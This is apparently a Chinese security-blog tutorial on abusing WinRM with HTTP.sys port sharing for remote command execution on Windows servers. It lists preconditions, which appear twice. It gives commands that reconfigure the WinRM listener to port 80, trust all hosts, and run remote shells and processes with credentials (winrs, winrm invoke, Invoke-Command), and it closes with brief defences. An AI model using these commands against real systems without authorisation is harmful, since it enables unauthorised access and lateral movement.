标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2981]   作者: banana 发表于: [2022-02-19]

本文共 [246] 位读者顶过

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。
默认端口:5985 http 5986 https
目标机器开启winrm服务
  1. 目标机器是win server,windows主机不行

  2. 目标机器winrm没有白名单(一旦白名单ip是无法登录的)

  3. 组合HTTP.sys驱动自带的端口复用功能

  4. 必须要知道明文密码(也可以使用hash传递)

利用场景及其限制

  1. 目标机器开启winrm服务

  2. 目标机器是win server,windows主机不行

  3. 目标机器winrm没有白名单(一旦白名单ip是无法登录的)

  4. 组合HTTP.sys驱动自带的端口复用功能

  5. 必须要知道明文密码(也可以使用hash传递)

[出自:jiwo.org]

靶机配置

开启winrm服务,并且监听80端口
winrm quickconfig -q
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

本地配置

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

执行命令

winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
执行命令是cmd即可进行shell

winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org
可以在远程主机启动计算器

Invoke-Command-ComputerName 192.168.198.129 -Credential root -Command {ipconfig}
# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}

防御手段

  • 设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器。

  • 严格限制,确保仅允许本地管理组和 WinRMRemoteWMIUsers__ 组中的用户有权使用 WinRM。





评论

暂无
发表评论
 返回顶部 
热度(246)
 关注微信